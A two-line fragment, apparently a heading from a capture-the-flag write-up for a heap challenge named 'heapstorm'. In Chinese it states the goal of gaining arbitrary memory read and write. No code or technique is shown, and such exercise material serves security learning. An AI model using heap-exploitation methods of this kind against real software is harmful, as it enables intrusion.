实现任意地址写,任意地址读。
heapstorm